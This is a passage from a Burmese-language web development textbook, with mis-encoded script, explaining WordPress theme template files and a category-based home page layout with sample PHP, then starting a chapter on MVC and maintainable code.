ရေရေှိိ အာင် Customize လုပန်ိုငပ်ါတယ်။ Customize လုပတ်ယ်ဆိုတာ အမနှ်ိ တာ့ WordPress Source Code ကုိြ
ပပငဆ်ငပ်ခင်း  မဟတုပ်ါဘးူ။  Theme  ကုိြပပငဆ်ငပ်ခငး်  (သုိမ့ဟတု်)  Theme  တစ်ခကုိုြ ကုိြယ်တိုငတ်ည်ိ ဆာက်ြပခင်း
ပဖေစ်ပါ  တယ်။  Plugin  ိတလွညး်  လိုအပရ်ေငတ်ည်ိ ဆာက်ြနိုငပ်ါတယ်။  ဒီိ နရောမာှ  WordPress  Theme  ိတွ
Plugin  ိတ ွ တည်ိ ဆာက်ြပုံကုိြိတာ့  မိဖောပ်ပနိုငပ်ါဘးူ။  ကုိြယ်တိုင်  ဆက်ြလက်ြိလလ့ာသွားရေမာှပါ။  သိသင့်တဲ့
အိပခခံိ တကုိွြ ိလလ့ာခဲ့သိရေှိခဲ့ပပီးပဖေစ်လို့  Online Tutorial တစ်ချို ့ရောှဖေတပ်ပးီ ဆက်ြလက်ြိလလ့ာသွားရေငရ်ေသွားမာှ
ပါ။ အသံုးပပုရေမာှကြ HTML, CSS, JavaScript  နဲ့  PHP တို့ပပဲဖေစ်ပါတယ်။  Theme, Plugin  အပါအဝင် အပခား
WordPress  နဲ့ပတသ်က်ြပပးီ   Developer  များသိသင့်တဲ့နညး်  ပညာိတကုိွြ  http://codex.wordpress.org/ မာှ
စုစညး်ိဖောပ်ပထားပါတယ်။

Admin Dashboard  ရေဲ့  Appearance Menu ိအာက်ြကြ Editor Option  မာှ လက်ြရေှိအသံုးပပုထားတဲ့  Themes
မာှပါဝင် တဲ့  File  စာရေငး်ကိြုိ ဖောပ်ပထားပါတယ်။  Code  များပပငဆ်ငလ်ိုရေငလ်ညး် တစ်ခါတညး်ပပင်ဆငန်ိုငပ်ါတယ။်
htdocs/wordpress/wp-content/themes/ Folder  ထဲကုိြသွားပပီးိတာလ့ဲ  လက်ြရေှိအသံုးပပုထားတဲ့
Theme Folder ထဲမာှ ိရေးသားထားတဲ့ Code ိတကုိွြ ိလ့လာနိုငပ်ါတယ်။ ဆက်ြလက်ြိလလ့ာတဲ့အခါ အိထာက်ြ
အကူြပဖေစ်ိ စဖေို့အတက်ွြ  WordPress  Theme  တစ်ခမုာှပါဝင်ိ လရ့ေှိတဲ့  Template  File  ိတရွေဲ့အဓပိ္ပါယ်ကိြုိ ဖောပ်ပ
ိပးလိုက်ြပါတယ်။

http://codex.wordpress.org/
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style.css - Theme အတက်ွြအဓကိြ CSS File ပဖေစ်ပါတယ်။ Appearance  → Themes မာှ ဝငအ်ကြည့်တဲ့အခါ
Available Themes အပဖေစ် Theme ကုိြိဖောပ်ပရောမာှ တွဲဖေက်ြိဖောပ်ပိပးမယ့် Information ကုိြ style.css ရေဲ့ထပိ်
ဆံုး မာှ Comment အိနနဲ့ အခလုိုသတမ်တှ်ိ ပးရေပါတယ်။

/* 
Theme Name: Twenty Ten 
Theme URI: http://wordpress.org/ 
Description: The 2010 default theme for WordPress. 
Author: WordPressdotorg 
Author URI: http://wordpress.org/ 
Version: 1.0 
Tags: black, blue, white, two-columns, fixed-width, custom-header
License: MIT
License URI: [license url]
General comments (optional). 
*/

ကြျန ်CSS Style များကြိတာ ့ိရေးရုိးိရေးစဉ်အတိုငး် ဆက်ြလက်ြိရေးသားနိုငပ်ါတယ်။

index.php - Home Page   အသနနဲ့သဖာ်ပပမယ့် Template  ပဖစ်ပါတယ်။ Post  များကို သဖာ်ပပတဲ့
  အခါ သဖာ်ပပသစလိုတဲ့ Template Structure  ကုိသတ်မှတ်ထားနိုင်ပါတယ်။ သရးသားပုံနမူနာကအခုလို

 ပဖစ်မှာပါ -  

<?php get_header(); ?> 
<div class="posts"> 
  <?php while (have_posts()) : the_post(); ?>                                 
    <div class="post"> 
        <h2 class="title"> 
          <a href="<?php the_permalink() ?>"> 
            <?php the_title(); ?> 
          </a> 
        </h2> 

        <div class="entry"> 
          <?php the_content(); ?> 
        </div> 
     </div>                           
  <?php endwhile; ?> 
  
  <div class="sidebar"> 
    <?php get_sidebar(); ?> 
  </div> 
  </div> 
<?php get_footer(); ?>

နမနူာမာှ  Bold  လပု်ိ ပးထားတာကြ  WordPress Function  ိတပွါ။  get_header(),  get_footer(),
get_sidebar() စတဲ့  Function  ိတကွြ  header.php, footer.php, sidebar.php စသပဖေင့်
ခွဲပခား ိရေးသားထားတဲ့ သီးပခား  Template  ိတကုိွြချတိဆ်က်ြိပးပခင်းပဖေစ်ပါတယ်။  have_posts() Function
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ကြိတာ့ ိဖောပ်ပစရော Post  ရေှိမရေှိစစ်ိဆးပခင်းပဖေစ်ပါတယ်။ the_post() Function ကြိတာ့  Post  တစ်ခကုိုြ ရေယူ
ိပးပါတယ်။  ကြျွန်ိ တာတ်ို့  ိလလ့ာခဲ့တဲ့  mysqli_fetch_assoc() လုိပါပ။ဲ  the_parmalink(),
the_title(), the_content() စတဲ့  Function  ိတကွြိတာ့  Post  မာှပါဝငတ်ဲ့  Link,  ိခါငး်စဉန်ဲ့  Post
Body  တို့ကုိြ သက်ြဆုိငရ်ော ိနရောမာှ ိဖောပ်ပိစပခငး်ပဖေစ်ပါတယ်။ ဒနီညး်နဲ့  Post  စာရေငး် ိဖောပ်ပိနတဲ့  Home Page
Template ကုိြ တည်ိ ဆာက်ြိပး ရေိလ့ရေှိပါတယ်။

header.php - Document Type  ိအကြပငာပခငး်၊  <head> Element  ထည့်သွငး်ပခငး်ကြိန စာမျက်ြနာှတိုငး်မာှ
တညူီ စွာ ပါဝငရ်ေမယ့် ိခါငး်စးီပိုငး် Content များကုိြထည့်သွငး်ထားရေတဲ့ Template တစ်ခပုဖေစ်ပါတယ်။ ပါဝင်ိ လရ့ေှိ
တဲ့ ပုံစံကြ အခလုိုပဖေစ်နိုငပ်ါတယ ်- 

<!doctype html> 
<html> 
<head> 
  <title><?php wp_title(); ?></title> 
  <link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>"> 
  <?php wp_head(); ?> 
</head> 
<body>

footer.php - </body> </html> နဲ့အပခားပတိ်ိ ပးဖေိုလ့ိုတဲ့ Element ိတပွါဝငတ်ဲ့ Template တစ်ခပုဖေစ် ပါ
တယ်။  Copyright Information  က့ဲြသုိ့ စာမျက်ြနာှတိုငး်ရေဲ့ိအာက်ြိပခမာှပါဝငသ်င့်တဲ့ အချက်ြအလက်ြိတလွညး် ဒီ
Template ထဲမာှ ထည့်သွငး်ထားနိုငပ်ါတယ်။ ပါဝင်ိ လရ့ေှိတဲ့ပုံစံကြ အခလုိုပါ - 

<?php wp_footer(); ?> 
</body> 
</html>

sidebar.php - WordPress Website  တစ်ခရုေဲ့  Sidebar  ထမဲာှ  Search Box, Category List, Calendar,
Tag Cloud စတဲ့ Widget ိတထွည့်သွငး်သတမ်တှန်ိုငပ်ါတယ်။ Appearance  → Widgets ကြိန ထည့်သွငး်ိပးရေ
ပါတယ်။ အ့ဲဒလီို Widget Sidebar အတက်ွြ Template Structure သတမ်တှထ်ားဖေို့သံုးရေပါတယ်။ ိရေးသားိလ့ ရေှိ
တဲ့ပုံစံကြ အခလုိုပဖေစ်ပါတယ ်-

<div class="sidebar"> 
  <?php dynamic_sidebar('primary'); ?> 
</div>

ဒလီိုမျို း  dynamic_sidebar() Function  ကြိန ိခါ်ယူအသံုးပပုနိုငဖ်ေိုအ့တက်ွြ  functions.php ဖေိုငထ်မဲာှ
Sidebar ကုိြ အခလုိုကကိြုတင ်Register လပုထ်ားိပးရေပါတယ။်
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$args = array( 
  'id'            => 'primary', 
  'description'   => 'Main Widget Area', 
  'class'         => 'sidebar', 
  'before_widget' => '<li>', 
  'after_widget'  => '</li>', 
  'before_title'  => '<h2>', 
  'after_title'   => '</h2>' ); 

register_sidebar( $args );

ဒနီညး်နဲ ့WordPress Theme တစ်ခမုာှ တစ်ခထုက်ြပိုတဲ့ Sidebar ိတကုိွြ ိအကြပငာအသံုးပပုလို့ ရေပါတယ်။

comments.php -  Comment  များကုိြိဖောပ်ပိပးတဲ့  Template  Structure  ကုိြသတမ်တှထ်ားနိုငပ်ါတယ်။
သက်ြဆိငု်  ရော  Post  သုိမ့ဟတု်  Page Template  များထမဲာှ  comments_template() Function  သံုးပပးီ  ဒီ
Template ကုိြ ချတိဆ်က်ြ ထည့်သွငး်နိုငပ်ါတယ်။

single.php - Post တစ်ခကုိုြိဖောပ်ပတဲ့အခါ အသံုးပပုရေမယ့် Template Structure သတမ်တှဖ်ေိုသံု့းပါတယ။် 

page.php - Page ကုိြိဖောပ်ပတဲ့အခါ အသံုးပပုရေမယ့် Template Structure သတမ်တှဖ်ေို့အသံုးပပုရေပါတယ်။ 

archive.php - Post  အားလုံးကုိြ  အကြည့်ရှုတာမဟတုပ်ဲ  Category  အလိုက်ြ  (သုိမ့ဟတု်)  ိရေးသားသူ  Author
အလိုက်ြစသပဖေင့် ရေယူအကြည့်ရှုတဲ့အခါ အသံုးပပုရေမယ့် Template Structure သတမ်တှထ်ားနိုငပ်ါတယ်။ 

search.php -  Search Result ကုိြိဖောပ်ပတဲ့အခါ သံုးရေမယ့် Template Structure သတမ်တှထ်ားနိုငပ်ါတယ်။ 

functions.php - Template  ိတကွြိန ရေယူအသံုးပပုလိုတဲ့  PHP Function ိတကုိွြ ဒထီမဲာှ စုစညး်ိရေးသား
ထား နိုငပ်ါတယ်။ 

404.php - Link မာှးိနလိုိ့ ဖောပ်ပစရော Post  သုိမ့ဟတု်  Page မရေှိတဲ့အခါ အသံုးပပုရေမယ့် Template Structure
သတမ်တှ ်ထားနိုငပ်ါတယ်။

Category Based Home Page Layout
လက်ြရေှိမာှ ကြျွန်ိ တာတ်ို့ Setup လပုထ်ားတဲ့ WordPress Website ရေဲ့  Home Page မာှ Post ိတကုိွြတနး်စီ ိဖောပ်ပ
ထားပါတယ်။ လက်ြိတွ့မာှ  Post ိတကုိွြ အ့ဲဒလီို Blog ပုံစံတနး်စီမပပပဲ Category အလိုက်ြ Layout အိနနဲ့ ိနရော
ချထားမယ်ဆုိရေငလ်ညး်ချထားနိုငပ်ါတယ်။  index.php မာှ ိရေးသားတဲ့  Template Structure  ကုိြသာ ပပငဆ်င်
ိပးဖေို့လို အပပ်ါတယ်။ ပုံ (၁၀-ဎ) မာှိဖောပ်ပ ထားတဲ့နမနူာ Layout ကုိြအကြည့်ပါ။
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ပုံ (၁၀-ဎ) WordPress Category Based Layout

Home  Page  မာှ  Post  (၄)  ခုိ ဖောပ်ပလိုပါတယ။်  Category  ကုိြ  Hero  လို့  သတမ်တှထ်ားတဲ့  Post  တစ်ခနုဲ့
Category ကုိြ Feature လို့သတမ်တှထ်ားတဲ့ Post (၃) ခ၊ု စုစုိပါင်း (၄) ခုိ ဖောပ်ပချငတ်ာပါ။ Hero နဲ့ Feature တို့ရေဲ့
ိဖောပ်ပပုံမတူ  အကြပါဘးူ။  Hero  ကုိြ  ခပက်ကီြးကကီြးိဖောပ်ပထားပပးီ  Feature  ိတကုိွြိတာ့  ိဘးချငး်ယှဉ်ိ ဖောပ်ပထားပါ
တယ်။ Style ကြိတာ့ CSS နဲ့လိုသလို သတမ်တှန်ိုငပ်ါတယ်။ Template Structure ကြသာ CSS ကြ Select လပု်
ယူပပီး Style သတမ်တှန်ိုငတ်ဲ့ Structure ပဖေစ်ဖေို့လိုတာပါ။ ဒလီို Layout ရေရေှိဖေို့အတက်ွြ ိရေးသားရေမယ့် index.php
ပုံစံနမနူာကြအခလုို ပဖေစ်မာှပါ - 

<?php get_header(); ?> 

<div class="contents"> 
  <?php query_posts('showposts=1&cat=1&offset=0'); ?> 
  <?php while (have_posts()) : the_post(); ?>                                 
    <div class="hero"> 
        <h2 class="hero-title"> 
          <a href="<?php the_permalink() ?>"><?php the_title(); ?></a> 
        </h2> 

        <div class="hero-entry"> 
          <?php the_content(); ?> 
        </div> 
     </div>                           
  <?php endwhile; ?> 
  
  <?php $ft = new WP_Query(); $ft->query('showposts=3&cat=2&offset=0'); ?> 
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  <?php while ($ft->have_posts()) : $ft->the_post(); ?> 
    <div class="feature"> 
        <h2 class="feature-title"> 
          <a href="<?php the_permalink() ?>"> 
            <?php the_title() ?> 
          </a> 
        </h2> 

        <div class="festure-entry"> 
          <?php the_content() ?> 
        </div> 
     </div>                           
  <?php endwhile; ?> 
  
  <div class="sidebar"> 
    <?php get_sidebar("one") ?> 
    <?php get_sidebar("two") ?> 
  </div> 
  
</div> 

<?php get_footer() ?>

ပထမတစ်ကကိြမမ်ာှ query_post() Function သံုးပပီး cat=1 (Category ID One) ထကဲြ Post ကုိြ ဆဲွထတုပ်ါ
တယ်။ ဆဲွထတု် ရေယူမယ့်အိရေအတက်ွြကြတစ်ခတုညး်ပါ။ ပပးီရေင် class=hero သတမ်တှထ်ားတဲ့ <div> နဲ့ ရေယူ
ထားတဲ့  Post  ရေဲ့  အချက်ြအလက်ြိတကုိွြ ထည့်သွငး်ထားပါတယ်။ ဒါိအကြာင့်  CSS  နဲ့  .hero လ့ုိ  Select  လပုပ်ပးီ
Style ကုိြ ကြျွန်ိ တာ ်တို့လိုချငတ်ဲ့ပုံစံ သတမ်တှန်ိုငသွ်ားမာှပါ။ ိနာက်ြတစ်ဆင့်အိနနဲ့ WP_Query() Function ကုိြ
သံုးပပီး  cat=2 (Category  ID  Two)  ထဲကြ  Post  သံုးခကုိုြဆွဲထတုပ်ါတယ။်  ရေရေှိလာ  တဲ့  Post  ိတကုိွြ
class=feature လို့သတမ်တှထ်ားတဲ့  <div> Element  များနဲ့ထည့်သွင်း  ိပးထားပါတယ်။  ဒနီညး်နဲ့
WordPress Website  ိတရွေဲ့  Home Page  ကုိြ  CSS  နဲ့ိ ပါငး်စပက်ြာ  Layout  အမျို းမျို းပဖေစ်ိနိအာင်  ဖေနတ်းီ
တည်ိ ဆာက်ြနိုငပ်ခင်း ပဖေစ်ပါတယ်။ 

အစတစ်ခရုေသွားိအာငသ်ာ ိဖောပ်ပပခငး်ပဖေစ်ပါတယ်။ ိလ့လာခါစ Developer  များအိနနဲ့ ပထမအဆင့်မာှ  Theme
ိတ ွကုိြယ်တိုငဖ်ေနတ်းီဖေို့ထက်ြ Admin Dashboard မာှပါဝငတ်ဲ့ Option ိတကုိွြပဲ အပပည့်အစံုအသံုးချနိုင်ိ အာင် အ
ရေင်ိ လလ့ာ  သင့်ပါတယ်။  Option  တစ်ခခုျငး်ကုိြ  အချနိ်ိ ပးိလလ့ာဖေို့ပလဲိုတာပါ။  အသံုးပပုပုံိ တကုိွြ  ဒီိ နရောမာှ
အရေညှက်ကီြးရေငှး်ပပိနလို့  မထိိ ရောက်ြပါဘးူ။  ကုိြယ်တိုငလ်ပုမ်ှ  ရေမယ့်အပိုင်းိတပွဖေစ်လာပါပပ။ီ  သိဘာတရေားပိုငး်ိတွ
မဟတု်ိ တာပ့ဲ လက်ြိတ ွသက်ြသက်ြအပိုငး်ိတ ွပဖေစ်ပါတယ်။ ိပပာလို့မပမင၊် ကုိြယ်တိုငလ်ပုအ်ကြည့်လိုက်ြမပှမငမ်ယ်ဆုိတဲ့
အပိုင်းိတပွဖေစ်လာပါပပ။ီ

ဆက်ြလက်ြပပးီ  wordpress.org ကြ  Theme Directory  နဲ့  Plugin  Directory  တို့ကုိြ  ိမွှ နာှက်ြပပးီ   Popular
အပဖေစ်ဆံုး Theme ိတ ွPlugin ိတကုိွြ စံုလင်ိ အာငစ်မး်သပထ်ားသင့်ပါတယ်။ ဒီိ တာမ့ှ  WordPress နဲ့ ဘာိတွ
လပုလ်ို့ရေတယ်။  သူများိတ ွ ဘာိတ ွ ကုိြဘယ်လိုလပု်ိ နအကြတယ်စတဲ့   "အပမင"်  ရေှိလာမာှပဖေစ်ပါတယ်။  ရေရေှိလာတဲ့
အပမငမ်ျားိပါ်မတူညပ်ပးီ  စိတကူ်ြးအိုငဒ်ယီာ  ိတထွက်ွြိပါ် လာတဲ့အခါ  ထွက်ြိပါ်လာတဲ့  အုိငဒ်ီယာကုိြ  အိကြာင်
အထည်ိ ဖောန်ိုငဖ်ေို ့ကုိြယ်ပိုငဖ်ေနတ်းီမှု များနဲ ့အသင့်ရေှိိ နတာိတကုိွြ ိပါငး်စပ်အသံုးချရေမာှပါ ။

http://wordpress.org/
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Conclusion
ကြိနအ့ချနိမ်ာှ  Content  ိဖောပ်ပမှုအသားိပးတဲ့  Website  များ  တည်ိ ဆာက်ြဖေိုအ့တက်ွြ  CMS  တစ်ခခုကုိုြမသံုးပဲ
ကုိြယ်တိုင်  အစအဆံုး  ိရေးသားိနမယ်ဆုိရေင်  အချနိပ်ဖေုနး်သလိုပဖေစ်ိနပါလမိ့်မယ်။  အများနဲမ့တတူစ်မထူးူပခားတဲ့
Website  တစ်ခပုဖေစ်ိစဖေို့  Front-End  အတက်ွြ  Template Design  ကုိြိတာ့  လိုအပရ်ေင်  အစအဆံုးကုိြယ်တိုင်ိ ရေး
သားရေမာှပါ။ ဒါိပမယ့် Content စီမမံှုပိုင်း ပဖေစ်တဲ့ Back-End အတက်ွြိတာ့ CMS များကြိပးတဲ့ လပု်ိ ဆာငခ်ျက်ြ
များကုိြ  ရေယူဖေို့  လုိအပပ်ါတယ်။  CMS  ိတကုိွြ  Developer  ိပါငး်များစွာကြ  နစ်ှိပါငး်များစွာ  လိုအပခ်ျက်ြိတွ
ပဖေည့်စွက်ြပခငး်၊  အမာှးပပင်  ဆငပ်ခငး်ိတပွပုလပုလ်ာအကြတဲ့အတက်ွြ သူတိုိ့ လာက်ြ ပပည့်စံုိကြာငး်မနွတ်ဲ့  စနစ်တစ်ခကုိုြ
ကုိြယ်တိုငတ်ည်ိ ဆာက်ြဖေို့ဆုိတာ အချနိ၊် ိင၊ွ လုပအ်ား စတဲ့  Resource  ိတအွများကကီြးသံုးရေဖေိုရ့ေှိပါတယ်။ လုံပခုံိရေး
ပိုငး်၊  ပပုပပငထ်မိး်သိမ်းရေလယ်ွကူြမှုအပိငုး်၊  စွမး်ိဆာငရ်ေညပ်ိုင်း  စသပဖေင့်  ဘက်ြစံုိဒါင့်စိိအာငလ်ပုရ်ေတာ  မလယ်ွပါ
ဘးူ။ လပုန်ိုငရ်ေင်ိ ကြာငး်ပါတယ်၊ ဒါိပမယ့် အသင့်  သံုးလိုရ့ေိနတာိတရွေှိိ နတဲ့အချနိမ်ာှ  ထိိရောက်ြိအာငရ်ေယူသံုးစဲွ
နိုငပ်ခငး်ကြ အားသာချက်ြတစ်ရေပ် ပဖေစ်လာိစမာှပပဲဖေစ်ပါ တယ်။ 

ဒီိ နရောမာှ  Website  နဲ့  Web App ကုိြိတာ့ မိရောိထးွသင့်ပါဘးူ။  CMS ိတဟွာ Content  အိပခပပု  Website
အမျို းမျို းတို့ကုိြ တည်ိ ဆာက်ြဖေို့ အသံုးဝင်ိ ပမယ့်  App ိတတွည်ိ ဆာက်ြ ရောမာှိတာ့ သိပအ်သံုး ဝငမ်ာှမဟတု် ပါ
ဘးူ။  App  များတည်ိ ဆာက်ြရောမာှိတာ့  ကုိြယ်တိုင်ိ ရေးသား၍ပပဲဖေစ်ပဖေစ်၊  အသင့်ရေှိိ နတဲ့  Web App Framework
တစ်ခခုသံုုး၍ပပဲဖေစ်ပဖေစ် တည်ိ ဆာက်ြယအူကြရေမာှပဖေစ်ပါတယ်။ 



          ပံုနိှပ်မူစာအုပ်               

ဤစာအပ်ု၏ ပံုနိှပ်မူကြို ရေန်ကြန်ု၊ မန္တ လးနှင့်               

မံုရောွပမို့တုိရ့ေှိ စာအပ်ုဆိုင်များတွင် (၁၀,၀၀၀) ကြျပ်ပဖေင့်               

ဝယယ်နုိူင်ပါသည။် ဆက်ြသွယရ်ေန် - လန်ွိဆးပမိုင်စာိပ               

(၀၉) ၅၀ ၇၆၀ ၂၄   (၀၉) ၂၅၂ ၄၂၆ ၃၈၈               
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အခနး် (၁၁) Model-View-Controller - MVC
ပပုပပင်ထမ်ိးသိမ်းရေလယွသ်ည့် Code များ၏ ဖဲွေ့စညး်ပံု

Web App အပါအဝင် ဘယ်လို Software အမျို းအစားမဆုိ ထမိး်သိမး်ရေလယ်ွိအာင် (Maintainable ပဖေစ်ိအာင်)
ိရေးရေပခငး်ဟာ  စိန်ိ ခါ်မှုတစ်ရေပပ်ဖေစ်ပါတယ်။  Software  မဟတုတ်ဲ့  တစ်ပခားကြဏိတမွာှ  Maintenance  ဆုိတာ
တထီငွမ်ှုဖေနတ်းီမှုတစ်ခပုပးီစီးလို့  အားလုံးတပဆ်ငပ်ပးီချနိမ်ာှ၊  ပုံမနှလ်ညပ်ါတ်ိ နနိုငဖ်ေိုရ့ေယ်၊  ိရေရေညှခ်ဖံေိုအ့တက်ွြရေယ်
စတင်ိ ဆာငရ်ေက်ွြရေတာပါ။  Software မာှိတာ့ စတင် ဖေနတ်းီပပဆီိုကြတညး်ကြ Maintenance ကုိြစတင်ိ ဆာငရ်ေက်ွြ
အကြရေတက်ြပါတယ်။

Software  Development  မာှ  Maintenance  ဆုိတာ  အမာှးပပင်ဆငခ်ျက်ြများနဲ့  (Bug  Fix)  နဲ့  Feature
Enhancement လ့ုိိခါ်တဲ့ အိသးစိတပ်ဖေည့်စွက်ြချက်ြများ ိဆာငရ်ေက်ွြပခငး်ကုိြိခါ်တာပါ။  ိရေးခဲ့သမျှ Code ိတဟွာ
အချနိန်ဲအ့မျှ ပပငဆ်င်  ပဖေည့်စွက်ြ  ိနဖေို့လိုတက်ြပါတယ်။  Requirement  ိပပာငး်သွားလို့ပပငရ်ေတာလညး်  ပဖေစ်နိုငပ်ါ
တယ်။ ပထမတစ်ကကိြမမ်ာှ အိပခခလံပု်ိ ဆာငခ်ျက်ြပဲိ ရေးသားထားပပးီ ိနာက်ြိတာမ့ပှိုမိုပပည့်စံုိအာင် ပဖေည့်စွက်ြရေတာ
မျို းိအကြာင့်လညး်  ပဖေစ်နိုငပ်ါတယ်။  Bug  ဆုိတာမျို း  ကြလညး်  ိလာိလာဆယ် မနှ်ိ နတယ်ထငရ်ေတဲ့၊  ရုတတ်ရေက်ြ
သတမိမမူနိိုငတ်ဲ့  ဟာကွြက်ြိလးိတ ွ ပဖေစ်ပါတယ်။  ိနာက်ြတစ်ချနိ်  ထးူပခားတဲ့အိပခအိန တစ်ရေပန်ဲ့အကြုံရေမှ  အမာှး
(Error)  အပဖေစ်ကြို ိပပာငး်သွားနိုငတ်ဲ့  ဟာကွြက်ြ ိလးများပဖေစ်ပါတယ်။  Software  တိုငး်မာှ  Bug  ရေှိပါတယ်။  Bug
Free Software ဆုိတာမရေှိလို့ ဒါကုိြိရောှငလ်ွဲဖေို့ မလယ်ွပါဘးူ။ ဒါိအကြာင့်  Bug တစ်ခကုိုြသတပိပုမတိာနဲ့ ချက်ြချငး်ပပင်
ဆငန်ိုငဖ်ေို့ဆိတုာ ိရေးသားထားတဲ့  Code ကြ စကြတညး်ကြ Maintainable ပဖေစ်ိနဖေို့လိုအပပ်ါတယ်။

Maintainable Code  များိရေးသားနိုငဖ်ေိုအ့တက်ွြ လိုက်ြနာသင့်တဲ့ လမး်ညနွ်အအကံြပပုချက်ြိတ ွအမျို းမျို းရေှိပါတယ်။
အ့ဲဒထီကဲြ အဓိကြကြျတဲိ့ လးမျို းကုိြ ိရေးွထတု်ိ ဖောပ်ပချငပ်ါတယ်။ Maintainable Code ိတ ွိရေးသားဖေိုအ့တက်ွြ - 

၁.) Code Duplication နညး်နိုငသ်မျှနညး်ိအာင် ိလျှာခ့ျရေပါမယ်
၂.) လပု်ိ ဆာငခ်ျက်ြိတတွစ်ခနုဲ့တစ်ခု အလနွအ်မင်းမှီခိုိ နပခငး်ကိြ ုိလျှာခ့ျရေပါမယ ်
၃.) Coding Standard ိခါ် ိရေထုံး စံများကုိြလိုက်ြနာရေပါမယ်
၄.) Code များကုိြ လပု်ိ ဆာငခ်ျက်ြကြဏအလိုက်ြ စုစညး်ထားရေပါမယ်
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၁.) Code Duplication  ိလျှာခ့ျပခငး်ဆုိတာ ထပခ်ါထပခ်ါလပုဖ်ေို့လိုအပတ်ဲ့ တူညတီဲ့လပု်ိ ဆာငခ်ျက်ြိတကုိွြ အကကိြမ်
ကကိြမ် ပပနလ်ည်ိ ရေးသားမိနပ၊ဲ တစ်ကကိြမသ်ာ သီးပခားခွဲပပးီိရေးသားထားပခငး်ပဖေစ်ပါတယ်။ အလားတလူပု်ိ ဆာငခ်ျက်ြ
ထပမ်ံ  ိဆာငရ်ေက်ွြဖေိုလ့ိုလာရေင်  ခွဲပခားိရေးသားထားချက်ြကုိြ  ိခါ်ယူအသံုးပပုနိုငပ်ါတယ်။  ဒီိ တာ့  အိပခအိနအရေ
ပပငဆ်င်ိ ပပာငး်လဲ ဖေို့ လိုလာရေင် ခွဲပခားိရေးသားထားတဲ့ ိနရောမာှပပငလ်ိုက်ြယံုပါပ။ဲ အကြယ်၍များ လပု်ိ ဆာငပ်ုံတညူီ
တဲ့ကိြစ္စ တကုိွြ  ဟိုနားဒနီား  ထပခ်ါထပခ်ါိရေသားထားမရိေင်  ိနာငလ်ိုအပလ်ို့  အ့ဲဒီ  လပု်ိ ဆာငခ်ျက်ြအမျို းအစားကုိြ
ပပငဆ်ငရ်ေတဲ့အခါ ိရေးသားထား မသိမျှ ိနရောတိုင်းမာှ လိုက်ြပပငရ်ေိတာမ့ာှပါ။ ဒသီဘာဝကုိြ  D.R.Y Principle  လို့
ိခါ်အကြပါတယ်။  D.R.Y ဆုိတာ Don't Repeat Yourself ရေဲ့အတိုိ ကြာက်ြပဖေစ် ပါတယ်။

၂.) ိနာက်ြတစ်ချက်ြကြိတာ့  Decoupling  ပဖေစ်ပါတယ်။  Function  တစ်ခဟုာ အလပုတ်စ်ခကုိုြပဲ လပုသ်င့်ပါတယ်။
ပပးီိတာ့ တစ်ပခား Function တစ်ခုိ ပါ်မှီခိုိ နပခငး်မရေှိိ လ ိကြာငး်ိလပါပ။ဲ အကြယ်၍များ Function တစ်ခရုေဲ့လပု်
ိဆာငခ်ျက်ြကြ  အပခား  Function  ကုိြမှီခိုိ နရေင၊်  မှီခိုိ နရေတဲ့  Function  ကုိြ  ပပငဆ်ငလ်ိုက်ြတဲ့အခါ  သူကုိ့ြပါလာပပးီ
သက်ြိရောက်ြနိုငပ်ါတယ်။  ဒီိ တာ့  ပပငခ်ျငလ်ိုတဲ့  Function  ကြတစ်ခ၊ု  ဒါိပမယ့်  အ့ဲဒီ  Function  ကုိြမှီခိုိ နတဲ့
Function ိတကုိွြပါလိုက်ြပပငရ်ေိတာမ့ယ့်သိဘာ ပဖေစ်ိနပါတယ်။ ဒါိတာငမ် ှဒလီိုမှီခိုိ နရေတဲ့ အပခား Function များ
ရေှိိ နတာကုိြ ပပငဆ်ငသ်ူ Developer ကြ သိဦးမပှါ။ ဒါိအကြာင့် လုပ်ိ ဆာငခ်ျက်ြများ တစ်ခနုဲတ့စ်ခု အလနွအ်မငး် မှီခို
ိနပခငး်ကုိြ ိလျှာခ့ျရေပါမယ်။

၃.) Developer  ိတ ွCode ိရေးတဲ့အခါ လိုက်ြနာသင့်တဲ့  Code Writing Style Guide  ိတရွေှိပါတယ်။  Coding
Standard  လ့ုိ  လညး်ိခါ်အကြပါတယ်။  Variable  ိတ ွ Function  ိတနွဲ့  Class  ိတရွေဲ့အမညကုိ်ြ ဘယ်လိုိ ပးသင့်
တယ်။ Bracket ိတကုိွြ ဘယ်နညး်နဲ့ ိရေးသားသင့်တယ်။ Indent ိတကွြ ဘယ်လိုပဖေစ်သင့်တယ်။ Comment ိတွ
ဘယ်လိုပါဝင်  သင့်တယ်။  Code File  နဲ့  File  Extension  ိတကုိွြ ဘယ်လိုအသံုးပပုသင့်တယ် စသပဖေင့်သတမ်တှ်
ထားတဲ့  သတမ်တှခ်ျက်ြများ  ပဖေစ်ပါတယ။်  ိရေးသားသင့်တဲ့နညး်လမး်ိတ ွ သတမ်တှထ်ားသလို၊  မိရေးသားသင့်တဲ့
နညး်လမး်နဲ့ အသံုးမပပုသင့်တဲ့ လပု်ိ ဆာငခ်ျက်ြိတကုိွြလညး် Coding Standard ိတကွြ ထည့်သွငး်ိဖောပ်ပတက်ြအကြ
ပါတယ်။

အ့ဲဒလီို  Coding Standard  ိတကုိွြ မလိုက်ြနာလညး်  Program  ကြိတာ့  အလပုလ်ပုမ်ာှပါပ။ဲ  ဒါိပမယ့်  Coding
Standard  ိတကုိွြ  လုိက်ြနာထားမယ်ဆုိရေင်ိ တာ့  ိရေးသားထားတဲ့  Code  ကုိြ  ိနာငပ်ပနလ်ည်  ဖေတရ်ှုရောမာှပဖေစ်ပဖေစ်၊
အများနဲ့ ပးူိပါင်းိရေးသားရေလို့၊ အပခား  Developer ကြ ကုိြယ့် Code ကုိြ ိလ့လာရေတဲ့အခါမာှပပဲဖေစ်ပဖေစ် ိရေးပုံနညး်
လမး်ကြ  Consistence  ပဖေစ်ိနတဲ့အတက်ွြ နားလညရ်ေ  လယ်ွိစမာှပဖေစ်ပါတယ်။  ဒါအပပင်  ဒီိ ရေးထုံးိတကွြ တစ်ချို ့
အမာှးများတက်ြတဲ့ အမာှးိတကုိွြ ိလျှာချနိုငဖ်ေို့ရေညရ်ေွယ်ချက်ြနဲ့ သတမ်တှထ်ားအကြတာလညး် ပဖေစ်ပါတယ်။ အသံုးပပုတဲ့
Programming Language ိပါ်မတူညပ်ပးီ Coding Standard တစ်ခနုဲ့တစ်ခု မတအူကြပါဘးူ။  ကုိြယ်အသံုးပပုိနတဲ့
